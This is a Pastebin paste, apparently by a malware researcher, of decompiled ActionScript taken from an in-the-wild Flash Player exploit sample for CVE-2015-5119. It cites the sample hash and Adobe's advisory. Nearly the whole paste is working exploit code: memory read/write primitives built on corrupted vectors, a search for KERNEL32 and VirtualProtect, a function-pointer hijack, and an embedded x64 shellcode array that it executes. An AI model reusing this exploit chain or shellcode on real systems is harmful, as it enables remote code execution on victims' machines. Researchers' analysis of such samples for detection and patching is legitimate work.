Advertisement
bartblaze

CVE-2015-5119 / Win x64 shellcode

Jul 8th, 2015
504
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Extracted ActionScript for Win x64 from e747df46e21036505780f2f7e48775147d815c3591f1c91514328a36aa84b9de also known as: CVE-2015-5119
  2. https://helpx.adobe.com/security/products/flash-player/apsa15-03.html
  3. https://twitter.com/bartblaze/status/618761630806110208
  4.  
  5.  
  6. package
  7. {
  8.    import flash.utils.Endian;
  9.    
  10.    class ShellWin64 extends MyClass
  11.    {
  12.      
  13.       static var _v:Vector.<uint>;
  14.      
  15.       static var _vAddr:Number;
  16.      
  17.       static var _base:Number;
  18.      
  19.       static var _baseMax:Number;
  20.      
  21.       static var _baseOld:Number;
  22.      
  23.       static var _mc:MyClass2;
  24.      
  25.       static var _mcOffs:uint;
  26.      
  27.       static var N32:Number = Math.pow(2,32);
  28.      
  29.       static var _x64:Vector.<uint> = Vector.<uint>([3.296938069E9,3.96855104E9,1700221267,621054792,96,406883144,272665416,1207995208,2.336751755E9,1133195352,3.623962684E9,8949899,21495808,544902106,1222574408,126601521,2.178416968E9,1701987128,2.166453601E9,1936919416,410320961,1210335883,3.071268865E9,2055948292,3.741403164E9,1216822411,216791809,80184136,1002569544,3.33002145E9,1222674760,581761,692584448,1213223108,1342195085,410881352,3.224455255E9,3513,2.873684736E9,1746421191,3.892314112E9,9,1668047203,1702389038,826825216,1364283849,3.381217617E9,1221101897,1210117251,2.202588159E9,3.242741956E9,2.20253488E9,1499006656,1607205192,2.370329433E9,32933,2.428722432E9]);
  30.      
  31.       {
  32.          N32 = Math.pow(2,32);
  33.          _x64 = Vector.<uint>([3.296938069E9,3.96855104E9,1700221267,621054792,96,406883144,272665416,1207995208,2.336751755E9,1133195352,3.623962684E9,8949899,21495808,544902106,1222574408,126601521,2.178416968E9,1701987128,2.166453601E9,1936919416,410320961,1210335883,3.071268865E9,2055948292,3.741403164E9,1216822411,216791809,80184136,1002569544,3.33002145E9,1222674760,581761,692584448,1213223108,1342195085,410881352,3.224455255E9,3513,2.873684736E9,1746421191,3.892314112E9,9,1668047203,1702389038,826825216,1364283849,3.381217617E9,1221101897,1210117251,2.202588159E9,3.242741956E9,2.20253488E9,1499006656,1607205192,2.370329433E9,32933,2.428722432E9]);
  34.       }
  35.      
  36.       function ShellWin64()
  37.       {
  38.          super();
  39.       }
  40.      
  41.       static function Hex(param1:Number) : String
  42.       {
  43.          if(param1 >= 0 && param1 <= 9)
  44.          {
  45.             return param1.toString();
  46.          }
  47.          return "0x" + param1.toString(16);
  48.       }
  49.      
  50.       static function Init(param1:Vector.<uint>, param2:uint, param3:MyClass2, param4:uint) : Boolean
  51.       {
  52.          _v = param1;
  53.          _mc = param3;
  54.          _mcOffs = param4;
  55.          _vAddr = Get64(param4,4.2949632E9) - param2;
  56.          _baseOld = Get64(param4 - 10);
  57.          param1[6] = 4.294967295E9;
  58.          param1[7] = 4.294967294E9;
  59.          param3.endian = Endian.LITTLE_ENDIAN;
  60.          Set64(param4 - 10,_vAddr);
  61.          _base = 0;
  62.          _baseMax = 4.29496728E9;
  63.          var _loc5_:uint = param3.length;
  64.          return _loc5_ == param1[7];
  65.       }
  66.      
  67.       static function CleanUp() : *
  68.       {
  69.          Set32(_vAddr - 16,_vLen);
  70.          _v[6] = 0;
  71.          _v[7] = 0;
  72.       }
  73.      
  74.       static function Num(param1:uint, param2:uint) : Number
  75.       {
  76.          var _loc3_:Number = param2;
  77.          if(_loc3_ != 0)
  78.          {
  79.             _loc3_ = _loc3_ * N32;
  80.          }
  81.          _loc3_ = _loc3_ + param1;
  82.          return _loc3_;
  83.       }
  84.      
  85.       static function Hi(param1:Number) : uint
  86.       {
  87.          return uint(Math.floor(param1 / N32) & N32 - 1);
  88.       }
  89.      
  90.       static function Low(param1:Number) : uint
  91.       {
  92.          return uint(param1 & N32 - 1);
  93.       }
  94.      
  95.       static function Get64(param1:uint, param2:uint = 4.294967295E9) : Number
  96.       {
  97.          return Num(_v[param1] & param2,_v[param1 + 1]);
  98.       }
  99.      
  100.       static function Set64(param1:uint, param2:Number) : *
  101.       {
  102.          _v[param1] = Low(param2);
  103.          _v[param1 + 1] = Hi(param2);
  104.       }
  105.      
  106.       static function SetBase(param1:Number) : *
  107.       {
  108.          if(param1 < _base || param1 >= _baseMax)
  109.          {
  110.             Set64(4,param1);
  111.             _base = param1;
  112.             _baseMax = param1 + 4.29496728E9;
  113.          }
  114.       }
  115.      
  116.       static function Get32(param1:Number) : uint
  117.       {
  118.          if(param1 < 65536)
  119.          {
  120.             throw new Error("");
  121.          }
  122.          SetBase(param1);
  123.          _mc.position = uint(param1 - _base & N32 - 1);
  124.          return _mc.readUnsignedInt();
  125.       }
  126.      
  127.       static function Set32(param1:Number, param2:uint) : *
  128.       {
  129.          if(param1 < 65536)
  130.          {
  131.             throw new Error("");
  132.          }
  133.          SetBase(param1);
  134.          _mc.position = uint(param1 - _base & N32 - 1);
  135.          _mc.writeUnsignedInt(param2);
  136.       }
  137.      
  138.       static function Get(param1:Number) : Number
  139.       {
  140.          if(param1 < 65536)
  141.          {
  142.             throw new Error("");
  143.          }
  144.          SetBase(param1);
  145.          _mc.position = uint(param1 - _base & N32 - 1);
  146.          var _loc2_:uint = _mc.readUnsignedInt();
  147.          var _loc3_:uint = _mc.readUnsignedInt();
  148.          return Num(_loc2_,_loc3_);
  149.       }
  150.      
  151.       static function Set(param1:Number, param2:Number) : *
  152.       {
  153.          if(param1 < 65536)
  154.          {
  155.             throw new Error("");
  156.          }
  157.          SetBase(param1);
  158.          _mc.position = uint(param1 - _base & N32 - 1);
  159.          _mc.writeUnsignedInt(Low(param2));
  160.          _mc.writeUnsignedInt(Hi(param2));
  161.       }
  162.      
  163.       static function GetAddr(param1:Object) : Number
  164.       {
  165.          _mc.o1 = param1;
  166.          return Get64(_mcOffs) - 1;
  167.       }
  168.      
  169.       static function Dump(param1:Number, param2:uint) : String
  170.       {
  171.          var _loc4_:uint = 0;
  172.          var _loc3_:* = "";
  173.          while(_loc4_ < param2)
  174.          {
  175.             _loc3_ = _loc3_ + (Get(param1).toString(16) + ",");
  176.             if(_loc4_ % 8 == 7)
  177.             {
  178.                _loc3_ = _loc3_ + "<br>";
  179.             }
  180.             _loc4_++;
  181.             var param1:Number = param1 + 8;
  182.          }
  183.          return _loc3_;
  184.       }
  185.      
  186.       static function FindVP() : Number
  187.       {
  188.          var _loc1_:* = NaN;
  189.          var _loc2_:uint = 0;
  190.          var _loc3_:* = NaN;
  191.          var _loc4_:uint = 0;
  192.          var _loc5_:Vector.<uint> = null;
  193.          var _loc6_:* = NaN;
  194.          var _loc7_:* = NaN;
  195.          var _loc8_:* = NaN;
  196.          var _loc9_:uint = 0;
  197.          try
  198.          {
  199.             _loc1_ = Get64(_mcOffs - 4,4.29490176E9) - 8388608;
  200.             while(_loc2_ < 240)
  201.             {
  202.                if(uint(Get32(_loc1_) & 65535) == 23117)
  203.                {
  204.                   break;
  205.                }
  206.                _loc2_++;
  207.                _loc1_ = _loc1_ - 65536;
  208.             }
  209.             if(_loc2_ >= 240)
  210.             {
  211.                throw new Error("");
  212.             }
  213.             _loc3_ = _loc1_ + Get32(_loc1_ + 60);
  214.             if(Get32(_loc3_) != 17744)
  215.             {
  216.                throw new Error("");
  217.             }
  218.             _loc4_ = Get32(_loc3_ + 148);
  219.             _loc3_ = _loc1_ + Get32(_loc3_ + 144);
  220.             _loc5_ = new Vector.<uint>(4);
  221.             _loc2_ = 0;
  222.             while(_loc2_ < _loc4_)
  223.             {
  224.                _loc8_ = _loc1_ + Get32(_loc3_ + _loc2_ + 3 * 4);
  225.                _loc9_ = 0;
  226.                while(_loc9_ < 4)
  227.                {
  228.                   _loc5_[_loc9_] = Get32(_loc8_);
  229.                   _loc9_++;
  230.                   _loc8_ = _loc8_ + 4;
  231.                }
  232.                if(MyUtils.IsEqual(_loc5_,"KERNEL32.DLL"))
  233.                {
  234.                   _loc6_ = Get32(_loc3_ + _loc2_);
  235.                   _loc7_ = Get32(_loc3_ + _loc2_ + 4 * 4);
  236.                   break;
  237.                }
  238.                _loc2_ = _loc2_ + 5 * 4;
  239.             }
  240.             if(_loc6_ == 0 || _loc7_ == 0)
  241.             {
  242.                throw new Error("");
  243.             }
  244.             _loc5_.length = 5;
  245.             _loc6_ = _loc6_ + _loc1_;
  246.             _loc2_ = 0;
  247.             while(_loc2_ < 384)
  248.             {
  249.                _loc8_ = Get(_loc6_);
  250.                if(_loc8_ == 0)
  251.                {
  252.                   throw new Error("");
  253.                }
  254.                _loc8_ = _loc8_ + _loc1_;
  255.                _loc9_ = 0;
  256.                while(_loc9_ < 5)
  257.                {
  258.                   _loc5_[_loc9_] = Get32(_loc8_);
  259.                   _loc9_++;
  260.                   _loc8_ = _loc8_ + 4;
  261.                }
  262.                if(MyUtils.IsEqual(_loc5_,"VIRTUALPROTECT",2) && MyUtils._bArr.readByte() == 0)
  263.                {
  264.                   return Get(_loc1_ + _loc7_ + _loc2_ * 8);
  265.                }
  266.                _loc2_++;
  267.                _loc6_ = _loc6_ + 8;
  268.             }
  269.          }
  270.          catch(e:Error)
  271.          {
  272.          }
  273.          return 0;
  274.       }
  275.      
  276.       static function Payload(... rest) : *
  277.       {
  278.       }
  279.      
  280.       static function CallVP(param1:Number) : Number
  281.       {
  282.          var _loc12_:uint = 0;
  283.          Payload();
  284.          var _loc2_:Array = new Array(4);
  285.          Payload.apply(null,_loc2_);
  286.          var _loc3_:Number = GetAddr(Payload);
  287.          var _loc4_:Number = Get(Get(Get(_loc3_ + 16) + 40) + 8) + (_isDbg?288:264);
  288.          var _loc5_:Number = Get(_loc4_);
  289.          var _loc6_:Number = Get(_loc3_ + 56);
  290.          var _loc7_:Number = Get(_loc3_ + 64);
  291.          var _loc8_:Number = Get(_loc5_ - 8);
  292.          var _loc9_:uint = _x64.length;
  293.          var _loc10_:Vector.<uint> = new Vector.<uint>(Math.max(768,_loc9_));
  294.          var _loc11_:Number = GetAddr(_loc10_);
  295.          _loc11_ = _loc11_ + (_isDbg?56:48);
  296.          if(Get(_loc11_) < 65536)
  297.          {
  298.             _loc11_ = _loc11_ - 8;
  299.          }
  300.          _loc11_ = Get(_loc11_) + 16;
  301.          _gc.push(_loc10_);
  302.          while(_loc12_ < 256 - 2)
  303.          {
  304.             _loc10_[_loc12_ + 2] = Get32(_loc5_ + _loc12_ * 4);
  305.             _loc12_++;
  306.          }
  307.          var _loc13_:Number = Get(_loc5_) - 64 * 4;
  308.          _loc12_ = 0;
  309.          while(_loc12_ < 512)
  310.          {
  311.             _loc10_[_loc12_ + 256] = Get32(_loc13_ + _loc12_ * 4);
  312.             _loc12_++;
  313.          }
  314.          _loc10_[0] = Low(_loc8_);
  315.          _loc10_[1] = Hi(_loc8_);
  316.          _loc10_[2] = Low(_loc11_ + 320 * 4);
  317.          _loc10_[3] = Hi(_loc11_ + 320 * 4);
  318.          _loc10_[320 + 12] = Low(param1);
  319.          _loc10_[320 + 13] = Hi(param1);
  320.          Set(_loc3_ + 56,_loc10_.length * 4);
  321.          Set(_loc3_ + 64,64);
  322.          var _loc14_:Number = GetAddr(_loc2_);
  323.          _loc8_ = Get(_loc14_);
  324.          Set(_loc4_,_loc11_ + 8);
  325.          Payload.apply(null,_loc2_);
  326.          Set(_loc4_,_loc5_);
  327.          Set(_loc3_ + 56,_loc6_);
  328.          Set(_loc3_ + 64,_loc7_);
  329.          _loc7_ = Get(_loc14_);
  330.          Set(_loc14_,_loc8_);
  331.          if(_loc8_ == _loc7_)
  332.          {
  333.             throw new Error("");
  334.          }
  335.          _loc12_ = 0;
  336.          while(_loc12_ < _loc9_)
  337.          {
  338.             _loc10_[_loc12_] = _x64[_loc12_];
  339.             _loc12_++;
  340.          }
  341.          return _loc11_;
  342.       }
  343.      
  344.       static function Exec() : *
  345.       {
  346.          var _loc1_:* = NaN;
  347.          var _loc2_:* = NaN;
  348.          var _loc3_:* = NaN;
  349.          var _loc4_:* = NaN;
  350.          var _loc5_:* = undefined;
  351.          try
  352.          {
  353.             _loc1_ = FindVP();
  354.             if(_loc1_ == 0)
  355.             {
  356.                throw new Error("vpAddr == 0");
  357.             }
  358.             _loc2_ = CallVP(_loc1_);
  359.             _loc3_ = GetAddr(Payload);
  360.             _loc3_ = Get(Get(_loc3_ + 56) + 16) + 8;
  361.             _loc4_ = Get(_loc3_);
  362.             Set(_loc3_,_loc2_);
  363.             _loc5_ = Payload.call(null);
  364.             Set(_loc3_,_loc4_);
  365.          }
  366.          catch(e:Error)
  367.          {
  368.          }
  369.          CleanUp();
  370.       }
  371.    }
  372. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement